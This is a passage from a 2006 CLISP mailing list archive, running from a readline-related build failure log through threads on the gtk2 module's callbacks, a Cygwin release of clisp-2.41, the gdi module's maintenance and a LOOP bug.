foreign function creation WARNING: FFI::FIND-FOREIGN-FUNCTION: foreign function "rl_funmap_names" d= oes not exist Skip foreign function creation WARNING: FFI::FIND-FOREIGN-FUNCTION: foreign function "rl_add_funmap_entr= y" does not exist Skip foreign function creation WARNING: FFI::FIND-FOREIGN-FUNCTION: foreign function "rl_begin_undo_grou= p" does not exist Skip foreign function creation WARNING: FFI::FIND-FOREIGN-FUNCTION: foreign function "rl_end_undo_group"= does not exist Skip foreign function creation WARNING: FFI::FIND-FOREIGN-FUNCTION: foreign function "rl_add_undo" does = not exist Skip foreign function creation WARNING: FFI::FIND-FOREIGN-FUNCTION: foreign function "rl_free_undo_list"= does not exist Skip foreign function creation WARNING: FFI::FIND-FOREIGN-FUNCTION: foreign function "rl_do_undo" does n= ot exist Skip foreign function creation WARNING: FFI::FIND-FOREIGN-FUNCTION: foreign function "rl_modifying" does= not exist Skip foreign function creation WARNING: FFI::FIND-FOREIGN-FUNCTION: foreign function "rl_redisplay" does= not exist Skip foreign function creation WARNING: FFI::FIND-FOREIGN-FUNCTION: foreign function "rl_forced_update_display" does not exist Skip foreign function creation WARNING: FFI::FIND-FOREIGN-FUNCTION: foreign function "rl_on_new_line" do= es not exist Skip foreign function creation WARNING: FFI::FIND-FOREIGN-FUNCTION: foreign function "rl_on_new_line_with_prompt" does not exist Skip foreign function creation WARNING: FFI::FIND-FOREIGN-FUNCTION: foreign function "rl_reset_line_stat= e" does not exist Skip foreign function creation WARNING: FFI::FIND-FOREIGN-FUNCTION: foreign function "rl_crlf" does not = exist Skip foreign function creation WARNING: FFI::FIND-FOREIGN-FUNCTION: foreign function "rl_show_char" does= not exist Skip foreign function creation WARNING: FFI::FIND-FOREIGN-FUNCTION: foreign function "rl_message" does n= ot exist Skip foreign function creation WARNING: FFI::FIND-FOREIGN-FUNCTION: foreign function "rl_clear_message" = does not exist Skip foreign function creation WARNING: FFI::FIND-FOREIGN-FUNCTION: foreign function "rl_save_prompt" do= es not exist Skip foreign function creation WARNING: FFI::FIND-FOREIGN-FUNCTION: foreign function "rl_restore_prompt"= does not exist Skip foreign function creation WARNING: FFI::FIND-FOREIGN-FUNCTION: foreign function "rl_expand_prompt" = does not exist Skip foreign function creation WARNING: FFI::FIND-FOREIGN-FUNCTION: foreign function "rl_insert_text" do= es not exist Skip foreign function creation WARNING: FFI::FIND-FOREIGN-FUNCTION: foreign function "rl_delete_text" do= es not exist Skip foreign function creation WARNING: FFI::FIND-FOREIGN-FUNCTION: foreign function "rl_copy_text" does= not exist Skip foreign function creation WARNING: FFI::FIND-FOREIGN-FUNCTION: foreign function "rl_kill_text" does= not exist Skip foreign function creation WARNING: FFI::FIND-FOREIGN-FUNCTION: foreign function "rl_push_macro_inpu= t" does not exist Skip foreign function creation WARNING: FFI::FIND-FOREIGN-FUNCTION: foreign function "rl_read_key" does = not exist Skip foreign function creation WARNING: FFI::FIND-FOREIGN-FUNCTION: foreign function "rl_getc" does not = exist Skip foreign function creation WARNING: FFI::FIND-FOREIGN-FUNCTION: foreign function "rl_stuff_char" doe= s not exist Skip foreign function creation WARNING: FFI::FIND-FOREIGN-FUNCTION: foreign function "rl_execute_next" d= oes not exist Skip foreign function creation WARNING: FFI::FIND-FOREIGN-FUNCTION: foreign function "rl_clear_pending_i= nput" does not exist Skip foreign function creation WARNING: FFI::FIND-FOREIGN-FUNCTION: foreign function "rl_set_keyboard_input_timeout" does not exist Skip foreign function creation WARNING: FFI::FIND-FOREIGN-FUNCTION: foreign function "rl_prep_terminal" = does not exist Skip foreign function creation WARNING: FFI::FIND-FOREIGN-FUNCTION: foreign function "rl_deprep_terminal= " does not exist Skip foreign function creation WARNING: FFI::FIND-FOREIGN-FUNCTION: foreign function "rl_tty_set_default_bindings" does not exist Skip foreign function creation WARNING: FFI::FIND-FOREIGN-FUNCTION: foreign function "rl_reset_terminal"= does not exist Skip foreign function creation WARNING: FFI::FIND-FOREIGN-FUNCTION: foreign function "rl_replace_line" d= oes not exist Skip foreign function creation WARNING: FFI::FIND-FOREIGN-FUNCTION: foreign function "rl_extend_line_buf= fer" does not exist Skip foreign function creation WARNING: FFI::FIND-FOREIGN-FUNCTION: foreign function "rl_ding" does not = exist Skip foreign function creation WARNING: FFI::FIND-FOREIGN-FUNCTION: foreign function "rl_display_match_l= ist" does not exist Skip foreign function creation WARNING: FFI::FIND-FOREIGN-FUNCTION: foreign function "rl_variable_bind" = does not exist Skip foreign function creation WARNING: FFI::FIND-FOREIGN-FUNCTION: foreign function "rl_macro_dumper" d= oes not exist Skip foreign function creation WARNING: FFI::FIND-FOREIGN-FUNCTION: foreign function "rl_variable_dumper= " does not exist Skip foreign function creation WARNING: FFI::FIND-FOREIGN-FUNCTION: foreign function "rl_set_paren_blink_timeout" does not exist Skip foreign function creation WARNING: FFI::FIND-FOREIGN-FUNCTION: foreign function "rl_get_termcap" do= es not exist Skip foreign function creation WARNING: FFI::FIND-FOREIGN-FUNCTION: foreign function "rl_resize_terminal= " does not exist Skip foreign function creation WARNING: FFI::FIND-FOREIGN-FUNCTION: foreign function "rl_set_screen_size= " does not exist Skip foreign function creation WARNING: FFI::FIND-FOREIGN-FUNCTION: foreign function "rl_get_screen_size= " does not exist Skip foreign function creation WARNING: FFI::FIND-FOREIGN-FUNCTION: foreign function "rl_callback_handler_install" does not exist Skip foreign function creation WARNING: FFI::FIND-FOREIGN-FUNCTION: foreign function "rl_callback_read_c= har" does not exist Skip foreign function creation WARNING: FFI::FIND-FOREIGN-FUNCTION: foreign function "rl_callback_handler_remove" does not exist Skip foreign function creation WARNING: FFI::LOOKUP-FOREIGN-VARIABLE: foreign variable "rl_line_buffer" = does not exist Skip foreign variable creation WARNING: FFI::LOOKUP-FOREIGN-VARIABLE: foreign variable "rl_point" does n= ot exist Skip foreign variable creation WARNING: FFI::LOOKUP-FOREIGN-VARIABLE: foreign variable "rl_end" does not exist Skip foreign variable creation WARNING: FFI::LOOKUP-FOREIGN-VARIABLE: foreign variable "rl_mark" does no= t exist Skip foreign variable creation WARNING: FFI::LOOKUP-FOREIGN-VARIABLE: foreign variable "rl_done" does no= t exist Skip foreign variable creation WARNING: FFI::LOOKUP-FOREIGN-VARIABLE: foreign variable "rl_num_chars_to_= read" does not exist Skip foreign variable creation WARNING: FFI::LOOKUP-FOREIGN-VARIABLE: foreign variable "rl_pending_input= " does not exist Skip foreign variable creation WARNING: FFI::LOOKUP-FOREIGN-VARIABLE: foreign variable "rl_dispatching" = does not exist Skip foreign variable creation WARNING: FFI::LOOKUP-FOREIGN-VARIABLE: foreign variable "rl_erase_empty_l= ine" does not exist Skip foreign variable creation WARNING: FFI::LOOKUP-FOREIGN-VARIABLE: foreign variable "rl_prompt" does = not exist Skip foreign variable creation WARNING: FFI::LOOKUP-FOREIGN-VARIABLE: foreign variable "rl_already_promp= ted" does not exist Skip foreign variable creation WARNING: FFI::LOOKUP-FOREIGN-VARIABLE: foreign variable "rl_library_versi= on" does not exist Skip foreign variable creation WARNING: FFI::LOOKUP-FOREIGN-VARIABLE: foreign variable "rl_readline_vers= ion" does not exist Skip foreign variable creation WARNING: FFI::LOOKUP-FOREIGN-VARIABLE: foreign variable "rl_gnu_readline_= p" does not exist Skip foreign variable creation WARNING: FFI::LOOKUP-FOREIGN-VARIABLE: foreign variable "rl_terminal_name= " does not exist Skip foreign variable creation WARNING: FFI::LOOKUP-FOREIGN-VARIABLE: foreign variable "rl_instream" doe= s not exist Skip foreign variable creation WARNING: FFI::LOOKUP-FOREIGN-VARIABLE: foreign variable "rl_outstream" do= es not exist Skip foreign variable creation WARNING: FFI::LOOKUP-FOREIGN-VARIABLE: foreign variable "rl_last_func" do= es not exist Skip foreign variable creation WARNING: FFI::LOOKUP-FOREIGN-VARIABLE: foreign variable "rl_startup_hook"= does not exist Skip foreign variable creation WARNING: FFI::LOOKUP-FOREIGN-VARIABLE: foreign variable "rl_pre_input_hoo= k" does not exist Skip foreign variable creation WARNING: FFI::LOOKUP-FOREIGN-VARIABLE: foreign variable "rl_event_hook" d= oes not exist Skip foreign variable creation WARNING: FFI::LOOKUP-FOREIGN-VARIABLE: foreign variable "rl_getc_function= " does not exist Skip foreign variable creation WARNING: FFI::LOOKUP-FOREIGN-VARIABLE: foreign variable "rl_editing_mode"= does not exist Skip foreign variable creation WARNING: FFI::LOOKUP-FOREIGN-VARIABLE: foreign variable "rl_insert_mode" = does not exist Skip foreign variable creation WARNING: FFI::LOOKUP-FOREIGN-VARIABLE: foreign variable "rl_readline_name= " does not exist Skip foreign variable creation WARNING: FFI::LOOKUP-FOREIGN-VARIABLE: foreign variable "rl_readline_stat= e" does not exist Skip foreign variable creation WARNING: FFI::FIND-FOREIGN-FUNCTION: foreign function "module__readline__constant_map_int" does not exist Skip foreign function creation *** - FUNCALL: undefined function |module__readline__constant_map_int| ./clisp-link: failed in /tmp/clisp-2.41-build make: *** [base] Error 1 real 12m51.310s user 6m55.214s sys 1m25.289s --=20 __Pascal Bourguignon__ http://www.informatimago.com/ "By filing this bug report you have challenged the honor of my family. Prepare to die!" From sds@gnu.org Mon Oct 30 14:40:48 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GefoG-0003Oa-HT for clisp-list@lists.sourceforge.net; Mon, 30 Oct 2006 14:40:48 -0800 Received: from www.janestcapital.com ([66.155.124.107] helo=janestcapital.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GefoD-00075R-2U for clisp-list@lists.sourceforge.net; Mon, 30 Oct 2006 14:40:48 -0800 Received: from [192.168.250.217] [209.213.205.130] by janestcapital.com with ESMTP (SMTPD32-8.13) id AF63A3B00C0; Mon, 30 Oct 2006 17:40:35 -0500 Message-ID: <45467F61.3010400@gnu.org> Date: Mon, 30 Oct 2006 17:40:33 -0500 From: Sam Steingold User-Agent: Thunderbird 1.5.0.7 (X11/20060913) MIME-Version: 1.0 To: pjb@informatimago.com, clisp-list@lists.sourceforge.net References: <20061029205227.190A512AD83@thalassa.informatimago.com> In-Reply-To: <20061029205227.190A512AD83@thalassa.informatimago.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: Re: [clisp-list] 2.41 on linux can't compile (pb with readline) X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: clisp-list@lists.sourceforge.net List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 30 Oct 2006 22:40:48 -0000 Pascal Bourguignon wrote: > Always with my same clisp-compile-linux script, 2.41 cannot be > compiled on Linux. It fails on the readline module. I've updated to > readline-5.2 but it keeps breaking the same way. > > ------------------------------------------------------------------------ > #!/bin/bash > version=$(awk -F= '/PACKAGE_VERSION=/{print substr($2,2,index($2," ")-2);}' ./src/configure) I suggest parsing the output of "./src/configure --version" instead. > if [ $# -ge 1 ] ; then version=$1 ; shift ; fi > echo version=$version > rm -rf /tmp/clisp-${version}-build/ > time ./configure \ > --prefix=/usr/local/languages/clisp-${version} \ > --with-libz-prefix=/usr/local \ > $(for m in \ > zlib \ > bindings/glibc \ > clx/new-clx \ > pcre \ > rawsock \ > regexp \ > syscalls \ > wildcard \ > ; do \ > if expr match "$m" 'i18n\|regexp\|syscalls' >/dev/null;\ > then true already there ;\ > else echo -n "--with-module=$m " ;\ > fi ; done) \ > --build /tmp/clisp-${version}-build \ > --install > ------------------------------------------------------------------------ > gcc -g -O2 -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -Wmissing-declarations -Wno-sign-compare -O2 -fexpensive-optimizations -falign-functions=4 -DUNICODE -DDYNAMIC_FFI -I. -I/tmp/clisp-2.41-build -c modules.c > gcc -g -O2 -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -Wmissing-declarations -Wno-sign-compare -O2 -fexpensive-optimizations -falign-functions=4 -DUNICODE -DDYNAMIC_FFI -I. -x none modules.o readline.o -lreadline -lncurses regexi.o regex.o calls.o -lcrypt -lm gettext.o lisp.a libcharset.a libavcall.a libcallback.a -lreadline -lncurses -ldl -liconv -lsigsegv -o lisp.run > calls.o(.text+0x1225): In function `temp_name': > /tmp/clisp-2.41-build/syscalls/calls.c:432: the use of `tempnam' is dangerous, better use `mkstemp' > boot/lisp.run -B . -M boot/lispinit.mem -norc -q -i i18n/preload.lisp -i syscalls/preload.lisp -i regexp/preload.lisp -x (saveinitmem "base/lispinit.mem") > ;; Loading file i18n/preload.lisp ... > ;; Loaded file i18n/preload.lisp > ;; Loading file syscalls/preload.lisp ... > ;; Loaded file syscalls/preload.lisp > ;; Loading file regexp/preload.lisp ... > ;; Loaded file regexp/preload.lisp > 1729784 ; > 523832 > base/lisp.run -B . -M base/lispinit.mem -norc -q -i i18n/i18n -i syscalls/posix -i regexp/regexp -i readline/readline -x (saveinitmem "base/lispinit.mem") ... > *** - FUNCALL: undefined function |module__readline__constant_map_int| module__readline__constant_map_int should be defined in build/readline/readline.c please check it. please also check if build/readline/readline.o is indeed in base/lisp.run. From zellerin@gmail.com Tue Oct 31 23:48:22 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GfApi-0001wH-Kt for clisp-list@lists.sourceforge.net; Tue, 31 Oct 2006 23:48:22 -0800 Received: from nf-out-0910.google.com ([64.233.182.190]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GfAph-0008D0-4j for clisp-list@lists.sourceforge.net; Tue, 31 Oct 2006 23:48:22 -0800 Received: by nf-out-0910.google.com with SMTP id p46so843869nfa for ; Tue, 31 Oct 2006 23:48:19 -0800 (PST) Received: by 10.82.101.3 with SMTP id y3mr1378386bub; Tue, 31 Oct 2006 23:48:19 -0800 (PST) Received: by 10.82.148.2 with HTTP; Tue, 31 Oct 2006 23:48:18 -0800 (PST) Message-ID: Date: Wed, 1 Nov 2006 08:48:18 +0100 From: "Tomas Zellerin" To: clisp-list@lists.sourceforge.net, dgym.bailey@gmail.com In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline References: X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name Subject: Re: [clisp-list] new clisp module: gtk2 X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 01 Nov 2006 07:48:23 -0000 On 10/16/06, Sam Steingold wrote: > CLISP now has a new module: gtk2, based on a generous contribution of > James Bailey . > It should work on both unix and woe32. > The main entry point is gtk:run-glade-file : create a UI using Glade and > run it from CLISP. > http://sds.podval.org/clisp/impnotes/faq.html#faq-gui > http://sds.podval.org/clisp/impnotes/gtk.html > > An example UI is provided: > > $ ./configure --with-module=gtk2 --build build-gtk > $ ./build-gtk/clisp -K full -x '(gtk:run-glade-file "modules/gtk2/ui.glade")' > > it is very basic and does nothing interesting. It is probably trivial, but how do I assign Lisp function to a callback? Through gtk machinery, or is there some higher level mechanism? Tomas Zellerin From sds@gnu.org Wed Nov 01 05:56:58 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GfGaQ-0001e8-9W for clisp-list@lists.sourceforge.net; Wed, 01 Nov 2006 05:56:58 -0800 Received: from janestcapital.com ([66.155.124.107]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GfGaM-0000Bi-K5 for clisp-list@lists.sourceforge.net; Wed, 01 Nov 2006 05:56:58 -0800 Received: from [192.168.250.217] [209.213.205.130] by janestcapital.com with ESMTP (SMTPD32-8.13) id A79E72C00CE; Wed, 01 Nov 2006 08:56:46 -0500 Message-ID: <4548A79F.50008@gnu.org> Date: Wed, 01 Nov 2006 08:56:47 -0500 From: Sam Steingold User-Agent: Thunderbird 1.5.0.7 (X11/20060913) MIME-Version: 1.0 To: Tomas Zellerin , clisp-list@lists.sourceforge.net References: In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: Re: [clisp-list] new clisp module: gtk2 X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: clisp-list@lists.sourceforge.net List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 01 Nov 2006 13:56:58 -0000 Tomas Zellerin wrote: > On 10/16/06, Sam Steingold wrote: >> CLISP now has a new module: gtk2, based on a generous contribution of >> James Bailey . >> It should work on both unix and woe32. >> The main entry point is gtk:run-glade-file : create a UI using Glade and >> run it from CLISP. >> http://sds.podval.org/clisp/impnotes/faq.html#faq-gui >> http://sds.podval.org/clisp/impnotes/gtk.html >> >> An example UI is provided: >> >> $ ./configure --with-module=gtk2 --build build-gtk >> $ ./build-gtk/clisp -K full -x '(gtk:run-glade-file "modules/gtk2/ui.glade")' make it $ ./build-gtk/clisp -K full -x '(gtk:gui "modules/gtk2/ui.glade")' >> it is very basic and does nothing interesting. well... :-) > but how do I assign Lisp function to a callback? use gtk:gtk_connect > Through gtk machinery, or is there some higher level mechanism? use glade. just open "modules/gtk2/ui.glade" in glade and add callbacks. gtk:gui will do all the necessary magic. Sam. From rurban@x-ray.at Wed Nov 01 07:08:26 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GfHha-0008Jk-Jx for clisp-list@lists.sourceforge.net; Wed, 01 Nov 2006 07:08:26 -0800 Received: from lb01nat18.inode.at ([62.99.145.18] helo=mx.inode.at) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1GfHhV-0007s6-PY for clisp-list@lists.sourceforge.net; Wed, 01 Nov 2006 07:08:26 -0800 Received: from [62.99.252.218] (port=11009 helo=[192.168.1.3]) by smartmx-16.inode.at with esmtps (TLS-1.0:DHE_RSA_AES_256_CBC_SHA:32) (Exim 4.50) id 1GfHhM-00017z-Fx; Wed, 01 Nov 2006 16:08:12 +0100 Message-ID: <4548B85D.6050101@x-ray.at> Date: Wed, 01 Nov 2006 16:08:13 +0100 From: Reini Urban User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; de-AT; rv:1.8.1b2) Gecko/20060821 SeaMonkey/1.1a MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net, cygwin-announce@cygwin.com Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Subject: [clisp-list] Updated: clisp-2.41-1 for cygwin X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 01 Nov 2006 15:08:26 -0000 I've released the new upstream clisp-2.41 for cygwin. ./configure --fsstnd=redhat --with-dynamic-ffi \ --with-module=rawsock --with-module=dirkey \ --with-module=bindings/win32 --with-module=berkeley-db \ --with-module=pcre --with-module=postgresql \ --with-module=fastcgi --with-module=zlib \ --with-module=gdi \ --prefix=/usr --build build http://clisp.cvs.sourceforge.net/*checkout*/clisp/clisp/src/NEWS Cygwin Changes: I've added experimentally my gdi module, which I might drop later. libsvm is not yet in, as pari. You can easily add this and the other modules to commercial packages via the clisp linkkit. The next cygwin release will probably contain libsvm and gtk2. ======================================================================== To update your installation, click on the "Install Cygwin now" link on the http://cygwin.com/ web page. This downloads setup.exe to your system. Then, run setup and answer all of the questions. *** CYGWIN-ANNOUNCE UNSUBSCRIBE INFO *** If you want to unsubscribe from the cygwin-announce mailing list, look at the "List-Unsubscribe: " tag in the email header of this message. Send email to the address specified there. It will be in the format: cygwin-announce-unsubscribe-you=yourdomain.com@cygwin.com If you need more information on unsubscribing, start reading here: http://sources.redhat.com/lists.html#unsubscribe-simple Please read *all* of the information on unsubscribing that is available starting at this URL. -- Reini Urban From sds@gnu.org Wed Nov 01 07:57:09 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GfISj-0004T4-Ef for clisp-list@lists.sourceforge.net; Wed, 01 Nov 2006 07:57:09 -0800 Received: from www.janestcapital.com ([66.155.124.107] helo=janestcapital.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GfISe-0007rP-PM for clisp-list@lists.sourceforge.net; Wed, 01 Nov 2006 07:57:09 -0800 Received: from [192.168.250.217] [209.213.205.130] by janestcapital.com with ESMTP (SMTPD32-8.13) id A3C0132900B8; Wed, 01 Nov 2006 10:56:48 -0500 Message-ID: <4548C3C1.7050507@gnu.org> Date: Wed, 01 Nov 2006 10:56:49 -0500 From: Sam Steingold User-Agent: Thunderbird 1.5.0.7 (X11/20060913) MIME-Version: 1.0 To: Reini Urban , clisp-list@lists.sourceforge.net References: <4548B85D.6050101@x-ray.at> In-Reply-To: <4548B85D.6050101@x-ray.at> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: Re: [clisp-list] Updated: clisp-2.41-1 for cygwin X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: clisp-list@lists.sourceforge.net List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 01 Nov 2006 15:57:09 -0000 Reini Urban wrote: > I've released the new upstream clisp-2.41 for cygwin. thanks! > I've added experimentally my gdi module, which I might drop later. 1. I thought that the original author of a gdi module was Dan Stanger. Or maybe this one is a completely new module? I am confused, sorry. 2. I made some comments (including bugs!) about the gdi module here: http://sourceforge.net/mailarchive/message.php?msg_id=36353153 http://article.gmane.org/gmane.lisp.clisp.devel/15834 I don't think there was any response (except that I now think that errors should be raised as conditions instead of returned as errno). Does anyone use this module? Sam. From sds@gnu.org Wed Nov 01 21:57:32 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GfVa0-0008Gw-IX for clisp-list@lists.sourceforge.net; Wed, 01 Nov 2006 21:57:32 -0800 Received: from mta1.srv.hcvlny.cv.net ([167.206.4.196]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GfVZy-0002BM-64 for clisp-list@lists.sourceforge.net; Wed, 01 Nov 2006 21:57:32 -0800 Received: from loiso.podval.org (ool-182f780f.dyn.optonline.net [24.47.120.15]) by mta1.srv.hcvlny.cv.net (Sun Java System Messaging Server 6.2-6.01 (built Apr 3 2006)) with ESMTP id <0J83004ZA9VOLK20@mta1.srv.hcvlny.cv.net> for clisp-list@lists.sourceforge.net; Thu, 02 Nov 2006 00:57:24 -0500 (EST) Received: by loiso.podval.org (Postfix, from userid 500) id BCAFE21E0A6; Thu, 02 Nov 2006 00:57:23 -0500 (EST) Date: Thu, 02 Nov 2006 00:57:23 -0500 From: Sam Steingold In-reply-to: To: clisp-list@lists.sourceforge.net, Tomas Zellerin Mail-followup-to: clisp-list@lists.sourceforge.net, Tomas Zellerin Message-id: MIME-version: 1.0 Content-type: text/plain Content-transfer-encoding: 7BIT Mail-Copies-To: never X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. References: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.90 (gnu/linux) X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Subject: Re: [clisp-list] loop for vars on vars X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: clisp-list@lists.sourceforge.net List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 02 Nov 2006 05:57:32 -0000 > * Tomas Zellerin [2006-10-27 09:07:13 +0200]: > > (let ((vars '(1 2 3 4))) > (loop for i from 0 to 10 for vars on vars do (print vars))) > => nil this appears to be a long standing bug. please file a bug report on SF so that it is not lost. thanks. -- Sam Steingold (http://sds.podval.org/) on Fedora Core release 5 (Bordeaux) http://mideasttruth.com http://jihadwatch.org http://truepeace.org http://iris.org.il http://israelunderattack.slide.com http://ffii.org Abandon all hope, all ye who press Enter. From rurban@x-ray.at Wed Nov 01 22:55:25 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GfWU1-0004xC-Ny for clisp-list@lists.sourceforge.net; Wed, 01 Nov 2006 22:55:25 -0800 Received: from lb01nat04.inode.at ([62.99.145.4] helo=mx.inode.at) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1GfWTy-0000z3-TE for clisp-list@lists.sourceforge.net; Wed, 01 Nov 2006 22:55:25 -0800 Received: from [62.99.252.218] (port=6614 helo=[192.168.1.3]) by smartmx-04.inode.at with esmtps (TLS-1.0:DHE_RSA_AES_256_CBC_SHA:32) (Exim 4.50) id 1GfWTq-0000um-Md for clisp-list@lists.sourceforge.net; Thu, 02 Nov 2006 07:55:15 +0100 Message-ID: <45499650.8000203@x-ray.at> Date: Thu, 02 Nov 2006 07:55:12 +0100 From: Reini Urban User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; de-AT; rv:1.8.1b2) Gecko/20060821 SeaMonkey/1.1a MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net References: <4548B85D.6050101@x-ray.at> <4548C3C1.7050507@gnu.org> In-Reply-To: <4548C3C1.7050507@gnu.org> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Subject: Re: [clisp-list] Updated: clisp-2.41-1 for cygwin X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 02 Nov 2006 06:55:26 -0000 Sam Steingold schrieb: > Reini Urban wrote: >> I've released the new upstream clisp-2.41 for cygwin. > > thanks! > >> I've added experimentally my gdi module, which I might drop later. > > 1. I thought that the original author of a gdi module was Dan Stanger. > Or maybe this one is a completely new module? I am confused, sorry. Dan Stanger is the author. I just took over maintainance. > 2. I made some comments (including bugs!) about the gdi module here: > http://sourceforge.net/mailarchive/message.php?msg_id=36353153 > http://article.gmane.org/gmane.lisp.clisp.devel/15834 > I don't think there was any response (except that I now think that > errors should be raised as conditions instead of returned as errno). No response so far. > Does anyone use this module? That's why I'm trying to add it to the clisp distro, at least. If there's no response or other modules seem to be better I'll drop it. -- Reini Urban http://phpwiki.org/ http://murbreak.at/ http://helsinki.at/ http://spacemovie.mur.at/ From zellerin@gmail.com Wed Nov 01 23:19:10 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GfWr0-00071s-QT for clisp-list@lists.sourceforge.net; Wed, 01 Nov 2006 23:19:10 -0800 Received: from nf-out-0910.google.com ([64.233.182.191]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GfWqz-000659-De for clisp-list@lists.sourceforge.net; Wed, 01 Nov 2006 23:19:10 -0800 Received: by nf-out-0910.google.com with SMTP id p46so1402435nfa for ; Wed, 01 Nov 2006 23:19:08 -0800 (PST) Received: by 10.82.105.13 with SMTP id d13mr23585buc.1162451947156; Wed, 01 Nov 2006 23:19:07 -0800 (PST) Received: by 10.82.148.2 with HTTP; Wed, 1 Nov 2006 23:19:07 -0800 (PST) Message-ID: Date: Thu, 2 Nov 2006 08:19:07 +0100 From: "Tomas Zellerin" To: clisp-list@lists.sourceforge.net In-Reply-To: <4548A79F.50008@gnu.org> MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed 